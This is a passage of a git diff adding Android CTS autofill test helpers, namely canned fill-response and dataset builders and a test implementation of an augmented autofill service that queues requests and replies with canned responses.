+                + ", saveInfoDecorator=" + mSaveInfoDecorator
+                + ", userData=" + mUserData
+                + ", visitor=" + mVisitor
+                + ", saveInfoVisitor=" + mSaveInfoVisitor
+                + "]";
+    }
+
+    public enum ResponseType {
+        NORMAL,
+        NULL,
+        NO_MORE,
+        TIMEOUT,
+        FAILURE,
+        DELAY
+    }
+
+    public static final class Builder {
+        private final List<CannedDataset> mDatasets = new ArrayList<>();
+        private final ResponseType mResponseType;
+        private String mFailureMessage;
+        private String[] mRequiredSavableIds;
+        private String[] mOptionalSavableIds;
+        private AutofillId[] mRequiredSavableAutofillIds;
+        private CharSequence mSaveDescription;
+        public int mSaveType = -1;
+        private Bundle mExtras;
+        private RemoteViews mPresentation;
+        private InlinePresentation mInlinePresentation;
+        private RemoteViews mFooter;
+        private RemoteViews mHeader;
+        private IntentSender mAuthentication;
+        private String[] mAuthenticationIds;
+        private String[] mIgnoredIds;
+        private int mNegativeActionStyle;
+        private IntentSender mNegativeActionListener;
+        private int mPositiveActionStyle;
+        private int mSaveInfoFlags;
+        private int mFillResponseFlags;
+        private AutofillId mSaveTriggerId;
+        private long mDisableDuration;
+        private String[] mFieldClassificationIds;
+        private boolean mFieldClassificationIdsOverflow;
+        private SaveInfoDecorator mSaveInfoDecorator;
+        private UserData mUserData;
+        private DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
+        private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+        private int[] mCancelIds;
+
+        public Builder(ResponseType type) {
+            mResponseType = type;
+        }
+
+        public Builder() {
+            this(ResponseType.NORMAL);
+        }
+
+        public Builder addDataset(CannedDataset dataset) {
+            assertWithMessage("already set failure").that(mFailureMessage).isNull();
+            mDatasets.add(dataset);
+            return this;
+        }
+
+        /**
+         * Sets the required savable ids based on their {@code resourceId}.
+         */
+        public Builder setRequiredSavableIds(int type, String... ids) {
+            mSaveType = type;
+            mRequiredSavableIds = ids;
+            return this;
+        }
+
+        public Builder setSaveInfoFlags(int flags) {
+            mSaveInfoFlags = flags;
+            return this;
+        }
+
+        public Builder setFillResponseFlags(int flags) {
+            mFillResponseFlags = flags;
+            return this;
+        }
+
+        /**
+         * Sets the optional savable ids based on they {@code resourceId}.
+         */
+        public Builder setOptionalSavableIds(String... ids) {
+            mOptionalSavableIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the description passed to the {@link SaveInfo}.
+         */
+        public Builder setSaveDescription(CharSequence description) {
+            mSaveDescription = description;
+            return this;
+        }
+
+        /**
+         * Sets the extra passed to {@link
+         * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
+         */
+        public Builder setExtras(Bundle data) {
+            mExtras = data;
+            return this;
+        }
+
+        /**
+         * Sets the view to present the response in the UI.
+         */
+        public Builder setPresentation(RemoteViews presentation) {
+            mPresentation = presentation;
+            return this;
+        }
+
+        /**
+         * Sets the view to present the response in the UI.
+         */
+        public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
+            mInlinePresentation = inlinePresentation;
+            return this;
+        }
+
+        /**
+         * Sets views to present the response in the UI by the type.
+         */
+        public Builder setPresentation(String message, boolean inlineMode) {
+            mPresentation = createPresentation(message);
+            if (inlineMode) {
+                mInlinePresentation = createInlinePresentation(message);
+            }
+            return this;
+        }
+
+        /**
+         * Sets the authentication intent.
+         */
+        public Builder setAuthentication(IntentSender authentication, String... ids) {
+            mAuthenticationIds = ids;
+            mAuthentication = authentication;
+            return this;
+        }
+
+        /**
+         * Sets the ignored fields based on resource ids.
+         */
+        public Builder setIgnoreFields(String...ids) {
+            mIgnoredIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the negative action spec.
+         */
+        public Builder setNegativeAction(int style, IntentSender listener) {
+            mNegativeActionStyle = style;
+            mNegativeActionListener = listener;
+            return this;
+        }
+
+        /**
+         * Sets the positive action spec.
+         */
+        public Builder setPositiveAction(int style) {
+            mPositiveActionStyle = style;
+            return this;
+        }
+
+        public CannedFillResponse build() {
+            return new CannedFillResponse(this);
+        }
+
+        /**
+         * Sets the response to call {@link FillCallback#onFailure(CharSequence)}.
+         */
+        public Builder returnFailure(String message) {
+            assertWithMessage("already added datasets").that(mDatasets).isEmpty();
+            mFailureMessage = message;
+            return this;
+        }
+
+        /**
+         * Sets the view that explicitly triggers save.
+         */
+        public Builder setSaveTriggerId(AutofillId id) {
+            assertWithMessage("already set").that(mSaveTriggerId).isNull();
+            mSaveTriggerId = id;
+            return this;
+        }
+
+        public Builder disableAutofill(long duration) {
+            assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
+            mDisableDuration = duration;
+            return this;
+        }
+
+        /**
+         * Sets the ids used for field classification.
+         */
+        public Builder setFieldClassificationIds(String... ids) {
+            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+            mFieldClassificationIds = ids;
+            return this;
+        }
+
+        /**
+         * Forces the service to throw an exception when setting the fields classification ids.
+         */
+        public Builder setFieldClassificationIdsOverflow() {
+            mFieldClassificationIdsOverflow = true;
+            return this;
+        }
+
+        public Builder setHeader(RemoteViews header) {
+            assertWithMessage("already set").that(mHeader).isNull();
+            mHeader = header;
+            return this;
+        }
+
+        public Builder setFooter(RemoteViews footer) {
+            assertWithMessage("already set").that(mFooter).isNull();
+            mFooter = footer;
+            return this;
+        }
+
+        public Builder setSaveInfoDecorator(SaveInfoDecorator decorator) {
+            assertWithMessage("already set").that(mSaveInfoDecorator).isNull();
+            mSaveInfoDecorator = decorator;
+            return this;
+        }
+
+        /**
+         * Sets the package-specific UserData.
+         *
+         * <p>Overrides the default UserData for field classification.
+         */
+        public Builder setUserData(UserData userData) {
+            assertWithMessage("already set").that(mUserData).isNull();
+            mUserData = userData;
+            return this;
+        }
+
+        /**
+         * Sets a generic visitor for the "real" request and response.
+         *
+         * <p>Typically used in cases where the test need to infer data from the request to build
+         * the response.
+         */
+        public Builder setVisitor(
+                @NonNull DoubleVisitor<List<FillContext>, FillResponse.Builder> visitor) {
+            mVisitor = visitor;
+            return this;
+        }
+
+        /**
+         * Sets a generic visitor for the "real" request and save info.
+         *
+         * <p>Typically used in cases where the test need to infer data from the request to build
+         * the response.
+         */
+        public Builder setSaveInfoVisitor(
+                @NonNull DoubleVisitor<List<FillContext>, SaveInfo.Builder> visitor) {
+            mSaveInfoVisitor = visitor;
+            return this;
+        }
+
+        /**
+         * Sets targets that cancel current session
+         */
+        public Builder setPresentationCancelIds(int[] ids) {
+            mCancelIds = ids;
+            return this;
+        }
+    }
+
+    /**
+     * Helper class used to produce a {@link Dataset} based on expected fields that should be
+     * present in the {@link AssistStructure}.
+     *
+     * <p>Typical usage:
+     *
+     * <pre class="prettyprint">
+     * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+     *               .addDataset(new CannedDataset.Builder("dataset_name")
+     *                   .setField("resource_id1", AutofillValue.forText("value1"))
+     *                   .setField("resource_id2", AutofillValue.forText("value2"))
+     *                   .build())
+     *               .build());
+     * </pre class="prettyprint">
+     */
+    public static class CannedDataset {
+        private final Map<String, AutofillValue> mFieldValues;
+        private final Map<String, RemoteViews> mFieldPresentations;
+        private final Map<String, InlinePresentation> mFieldInlinePresentations;
+        private final Map<String, Pair<Boolean, Pattern>> mFieldFilters;
+        private final RemoteViews mPresentation;
+        private final InlinePresentation mInlinePresentation;
+        private final IntentSender mAuthentication;
+        private final String mId;
+
+        private CannedDataset(Builder builder) {
+            mFieldValues = builder.mFieldValues;
+            mFieldPresentations = builder.mFieldPresentations;
+            mFieldInlinePresentations = builder.mFieldInlinePresentations;
+            mFieldFilters = builder.mFieldFilters;
+            mPresentation = builder.mPresentation;
+            mInlinePresentation = builder.mInlinePresentation;
+            mAuthentication = builder.mAuthentication;
+            mId = builder.mId;
+        }
+
+        /**
+         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
+         */
+        public Dataset asDataset(Function<String, ViewNode> nodeResolver) {
+            final Dataset.Builder builder = mPresentation != null
+                    ? mInlinePresentation == null
+                    ? new Dataset.Builder(mPresentation)
+                    : new Dataset.Builder(mPresentation).setInlinePresentation(mInlinePresentation)
+                    : mInlinePresentation == null
+                            ? new Dataset.Builder()
+                            : new Dataset.Builder(mInlinePresentation);
+
+            if (mFieldValues != null) {
+                for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
+                    final String id = entry.getKey();
+                    final ViewNode node = nodeResolver.apply(id);
+                    if (node == null) {
+                        throw new AssertionError("No node with resource id " + id);
+                    }
+                    final AutofillId autofillId = node.getAutofillId();
+                    final AutofillValue value = entry.getValue();
+                    final RemoteViews presentation = mFieldPresentations.get(id);
+                    final InlinePresentation inlinePresentation = mFieldInlinePresentations.get(id);
+                    final Pair<Boolean, Pattern> filter = mFieldFilters.get(id);
+                    if (presentation != null) {
+                        if (filter == null) {
+                            if (inlinePresentation != null) {
+                                builder.setValue(autofillId, value, presentation,
+                                        inlinePresentation);
+                            } else {
+                                builder.setValue(autofillId, value, presentation);
+                            }
+                        } else {
+                            if (inlinePresentation != null) {
+                                builder.setValue(autofillId, value, filter.second, presentation,
+                                        inlinePresentation);
+                            } else {
+                                builder.setValue(autofillId, value, filter.second, presentation);
+                            }
+                        }
+                    } else {
+                        if (inlinePresentation != null) {
+                            builder.setFieldInlinePresentation(autofillId, value,
+                                    filter != null ? filter.second : null, inlinePresentation);
+                        } else {
+                            if (filter == null) {
+                                builder.setValue(autofillId, value);
+                            } else {
+                                builder.setValue(autofillId, value, filter.second);
+                            }
+                        }
+                    }
+                }
+            }
+            builder.setId(mId).setAuthentication(mAuthentication);
+            return builder.build();
+        }
+
+        @Override
+        public String toString() {
+            return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+                    + ", hasInlinePresentation=" + (mInlinePresentation != null)
+                    + ", fieldPresentations=" + (mFieldPresentations)
+                    + ", fieldInlinePresentations=" + (mFieldInlinePresentations)
+                    + ", hasAuthentication=" + (mAuthentication != null)
+                    + ", fieldValues=" + mFieldValues
+                    + ", fieldFilters=" + mFieldFilters + "]";
+        }
+
+        public static class Builder {
+            private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
+            private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+            private final Map<String, InlinePresentation> mFieldInlinePresentations =
+                    new HashMap<>();
+            private final Map<String, Pair<Boolean, Pattern>> mFieldFilters = new HashMap<>();
+
+            private RemoteViews mPresentation;
+            private InlinePresentation mInlinePresentation;
+            private IntentSender mAuthentication;
+            private String mId;
+
+            public Builder() {
+
+            }
+
+            public Builder(RemoteViews presentation) {
+                mPresentation = presentation;
+            }
+
+            /**
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text) {
+                return setField(id, AutofillValue.forText(text));
+            }
+
+            /**
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, Pattern filter) {
+                return setField(id, AutofillValue.forText(text), true, filter);
+            }
+
+            public Builder setUnfilterableField(String id, String text) {
+                return setField(id, AutofillValue.forText(text), false, null);
+            }
+
+            /**
+             * Sets the canned value of a list field based on its its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, int index) {
+                return setField(id, AutofillValue.forList(index));
+            }
+
+            /**
+             * Sets the canned value of a toggle field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, boolean toggled) {
+                return setField(id, AutofillValue.forToggle(toggled));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, long date) {
+                return setField(id, AutofillValue.forDate(date));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, AutofillValue value) {
+                mFieldValues.put(id, value);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, AutofillValue value, boolean filterable,
+                    Pattern filter) {
+                setField(id, value);
+                mFieldFilters.put(id, new Pair<>(filterable, filter));
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation) {
+                setField(id, text);
+                mFieldPresentations.put(id, presentation);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    Pattern filter) {
+                setField(id, text, presentation);
+                mFieldFilters.put(id, new Pair<>(true, filter));
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation) {
+                setField(id, text);
+                mFieldPresentations.put(id, presentation);
+                mFieldInlinePresentations.put(id, inlinePresentation);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation, Pattern filter) {
+                setField(id, text, presentation, inlinePresentation);
+                mFieldFilters.put(id, new Pair<>(true, filter));
+                return this;
+            }
+
+            /**
+             * Sets the view to present the response in the UI.
+             */
+            public Builder setPresentation(RemoteViews presentation) {
+                mPresentation = presentation;
+                return this;
+            }
+
+            /**
+             * Sets the view to present the response in the UI.
+             */
+            public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
+                mInlinePresentation = inlinePresentation;
+                return this;
+            }
+
+            public Builder setPresentation(String message, boolean inlineMode) {
+                mPresentation = createPresentation(message);
+                if (inlineMode) {
+                    mInlinePresentation = createInlinePresentation(message);
+                }
+                return this;
+            }
+
+            /**
+             * Sets the authentication intent.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
+
+            /**
+             * Sets the name.
+             */
+            public Builder setId(String id) {
+                mId = id;
+                return this;
+            }
+
+            /**
+             * Builds the canned dataset.
+             */
+            public CannedDataset build() {
+                return new CannedDataset(this);
+            }
+        }
+    }
+
+    public interface SaveInfoDecorator {
+        void decorate(SaveInfo.Builder builder, Function<String, ViewNode> nodeResolver);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java
new file mode 100644
index 0000000..5810c11
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CtsAugmentedAutofillService.java
@@ -0,0 +1,442 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.await;
+import static android.autofillservice.cts.testcore.AugmentedHelper.getActivityName;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_CONNECTION_TIMEOUT;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.AugmentedResponseType.NULL;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.AugmentedResponseType.TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_EVENTS_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.SystemClock;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.augmented.AugmentedAutofillService;
+import android.service.autofill.augmented.FillCallback;
+import android.service.autofill.augmented.FillController;
+import android.service.autofill.augmented.FillRequest;
+import android.service.autofill.augmented.FillResponse;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.TestNameUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Implementation of {@link AugmentedAutofillService} used in the tests.
+ */
+public class CtsAugmentedAutofillService extends AugmentedAutofillService {
+
+    private static final String TAG = CtsAugmentedAutofillService.class.getSimpleName();
+
+    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
+    public static final String SERVICE_CLASS = CtsAugmentedAutofillService.class.getSimpleName();
+
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    private static final AugmentedReplier sAugmentedReplier = new AugmentedReplier();
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyAugmentedServiceThread");
+    private final Handler mHandler;
+
+    private final CountDownLatch mConnectedLatch = new CountDownLatch(1);
+    private final CountDownLatch mDisconnectedLatch = new CountDownLatch(1);
+
+    private static ServiceWatcher sServiceWatcher;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public CtsAugmentedAutofillService() {
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+    }
+
+    @NonNull
+    public static ServiceWatcher setServiceWatcher() {
+        if (sServiceWatcher != null) {
+            throw new IllegalStateException("There Can Be Only One!");
+        }
+        sServiceWatcher = new ServiceWatcher();
+        return sServiceWatcher;
+    }
+
+
+    public static void resetStaticState() {
+        List<Throwable> exceptions = sAugmentedReplier.mExceptions;
+        if (exceptions != null) {
+            exceptions.clear();
+        }
+        // TODO(b/123540602): should probably set sInstance to null as well, but first we would need
+        // to make sure each test unbinds the service.
+
+        // TODO(b/123540602): each test should use a different service instance, but we need
+        // to provide onConnected() / onDisconnected() methods first and then change the infra so
+        // we can wait for those
+
+        if (sServiceWatcher != null) {
+            Log.wtf(TAG, "resetStaticState(): should not have sServiceWatcher");
+            sServiceWatcher = null;
+        }
+    }
+
+    @Override
+    public void onConnected() {
+        Log.i(TAG, "onConnected(): sServiceWatcher=" + sServiceWatcher);
+
+        if (sServiceWatcher == null) {
+            addException("onConnected() without a watcher");
+            return;
+        }
+
+        if (sServiceWatcher.mService != null) {
+            addException("onConnected(): already created: %s", sServiceWatcher);
+            return;
+        }
+
+        sServiceWatcher.mService = this;
+        sServiceWatcher.mCreated.countDown();
+
+        Log.d(TAG, "Whitelisting " + Helper.MY_PACKAGE + " for augmented autofill");
+        final ArraySet<String> packages = new ArraySet<>(1);
+        packages.add(Helper.MY_PACKAGE);
+
+        final AutofillManager afm = getApplication().getSystemService(AutofillManager.class);
+        if (afm == null) {
+            addException("No AutofillManager on application context on onConnected()");
+            return;
+        }
+        afm.setAugmentedAutofillWhitelist(packages, /* activities= */ null);
+
+        if (mConnectedLatch.getCount() == 0) {
+            addException("already connected: %s", mConnectedLatch);
+        }
+        mConnectedLatch.countDown();
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.i(TAG, "onDisconnected(): sServiceWatcher=" + sServiceWatcher);
+
+        if (mDisconnectedLatch.getCount() == 0) {
+            addException("already disconnected: %s", mConnectedLatch);
+        }
+        mDisconnectedLatch.countDown();
+
+        if (sServiceWatcher == null) {
+            addException("onDisconnected() without a watcher");
+            return;
+        }
+        if (sServiceWatcher.mService == null) {
+            addException("onDisconnected(): no service on %s", sServiceWatcher);
+            return;
+        }
+
+        sServiceWatcher.mDestroyed.countDown();
+        sServiceWatcher.mService = null;
+        sServiceWatcher = null;
+    }
+
+    public FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
+        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
+            final FillEventHistory history = getFillEventHistory();
+            if (history == null) {
+                return null;
+            }
+            final List<Event> events = history.getEvents();
+            if (events != null) {
+                assertWithMessage("Didn't get " + expectedSize + " events yet: " + events).that(
+                        events.size()).isEqualTo(expectedSize);
+            } else {
+                assertWithMessage("Events is null (expecting " + expectedSize + ")").that(
+                        expectedSize).isEqualTo(0);
+                return null;
+            }
+            return history;
+        });
+    }
+
+    /**
+     * Waits until the system calls {@link #onConnected()}.
+     */
+    public void waitUntilConnected() throws InterruptedException {
+        await(mConnectedLatch, "not connected");
+    }
+
+    /**
+     * Waits until the system calls {@link #onDisconnected()}.
+     */
+    public void waitUntilDisconnected() throws InterruptedException {
+        await(mDisconnectedLatch, "not disconnected");
+    }
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillController controller, FillCallback callback) {
+        Log.i(TAG, "onFillRequest(): " + AugmentedHelper.toString(request));
+
+        final ComponentName component = request.getActivityComponent();
+
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
+            return;
+        }
+        mHandler.post(() -> sAugmentedReplier.handleOnFillRequest(getApplicationContext(), request,
+                cancellationSignal, controller, callback));
+    }
+
+    /**
+     * Gets the {@link AugmentedReplier} singleton.
+     */
+    public static AugmentedReplier getAugmentedReplier() {
+        return sAugmentedReplier;
+    }
+
+    private static void addException(@NonNull String fmt, @Nullable Object...args) {
+        final String msg = String.format(fmt, args);
+        Log.e(TAG, msg);
+        sAugmentedReplier.addException(new IllegalStateException(msg));
+    }
+
+    /**
+     * POJO representation of the contents of a {@link FillRequest}
+     * that can be asserted at the end of a test case.
+     */
+    public static final class AugmentedFillRequest {
+        public final FillRequest request;
+        public final CancellationSignal cancellationSignal;
+        public final FillController controller;
+        public final FillCallback callback;
+
+        private AugmentedFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+                FillController controller, FillCallback callback) {
+            this.request = request;
+            this.cancellationSignal = cancellationSignal;
+            this.controller = controller;
+            this.callback = callback;
+        }
+
+        @Override
+        public String toString() {
+            return "AugmentedFillRequest[activity=" + getActivityName(request) + ", request="
+                    + AugmentedHelper.toString(request) + "]";
+        }
+    }
+
+    /**
+     * Object used to answer a
+     * {@link AugmentedAutofillService#onFillRequest(FillRequest, CancellationSignal,
+     * FillController, FillCallback)} on behalf of a unit test method.
+     */
+    public static final class AugmentedReplier {
+
+        private final BlockingQueue<CannedAugmentedFillResponse> mResponses =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<AugmentedFillRequest> mFillRequests =
+                new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private boolean mReportUnhandledFillRequest = true;
+
+        private AugmentedReplier() {
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public AugmentedReplier addResponse(@NonNull CannedAugmentedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+        /**
+         * Gets the next fill request, in the order received.
+         */
+        public AugmentedFillRequest getNextFillRequest() {
+            AugmentedFillRequest request;
+            try {
+                request = mFillRequests.poll(AUGMENTED_FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(AUGMENTED_FILL_TIMEOUT, "onFillRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts all {@link AugmentedAutofillService#onFillRequest(FillRequest,
+         * CancellationSignal, FillController, FillCallback)} received by the service were properly
+         * {@link #getNextFillRequest() handled} by the test case.
+         */
+        public void assertNoUnhandledFillRequests() {
+            if (mFillRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledFillRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mFillRequests);
+                return;
+            }
+
+            mReportUnhandledFillRequest = false;
+            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
+                    + mFillRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledFillRequests() {
+            return mFillRequests.size();
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mExceptions = null;
+            mReportUnhandledFillRequest = true;
+        }
+
+        private void handleOnFillRequest(@NonNull Context context, @NonNull FillRequest request,
+                @NonNull CancellationSignal cancellationSignal, @NonNull FillController controller,
+                @NonNull FillCallback callback) {
+            final AugmentedFillRequest myRequest = new AugmentedFillRequest(request,
+                    cancellationSignal, controller, callback);
+            Log.d(TAG, "offering " + myRequest);
+            Helper.offer(mFillRequests, myRequest, AUGMENTED_CONNECTION_TIMEOUT.ms());
+            try {
+                final CannedAugmentedFillResponse response;
+                try {
+                    response = mResponses.poll(AUGMENTED_CONNECTION_TIMEOUT.ms(),
+                            TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedAugmentedFillResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+                if (response == null) {
+                    Log.w(TAG, "onFillRequest() for " + getActivityName(request)
+                            + " received when no canned response was set.");
+                    return;
+                }
+
+                // sleep for timeout tests.
+                final long delay = response.getDelay();
+                if (delay > 0) {
+                    SystemClock.sleep(response.getDelay());
+                }
+
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                Log.v(TAG, "onFillRequest(): response = " + response);
+                final FillResponse fillResponse = response.asFillResponse(context, request,
+                        controller);
+                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
+                callback.onSuccess(fillResponse);
+            } catch (Throwable t) {
+                addException(t);
+            }
+        }
+    }
+
+    public static final class ServiceWatcher {
+
+        private final CountDownLatch mCreated = new CountDownLatch(1);
+        private final CountDownLatch mDestroyed = new CountDownLatch(1);
+
+        private CtsAugmentedAutofillService mService;
+
+        @NonNull
+        public CtsAugmentedAutofillService waitOnConnected() throws InterruptedException {
+            await(mCreated, "not created");
+
+            if (mService == null) {
+                throw new IllegalStateException("not created");
+            }
+
+            return mService;
+        }
+
+        public void waitOnDisconnected() throws InterruptedException {
+            await(mDestroyed, "not destroyed");
+        }
+
+        @Override
+        public String toString() {
+            return "mService: " + mService + " created: " + (mCreated.getCount() == 0)
+                    + " destroyed: " + (mDestroyed.getCount() == 0);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java
new file mode 100644
index 0000000..be88bf6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/CustomDescriptionHelper.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
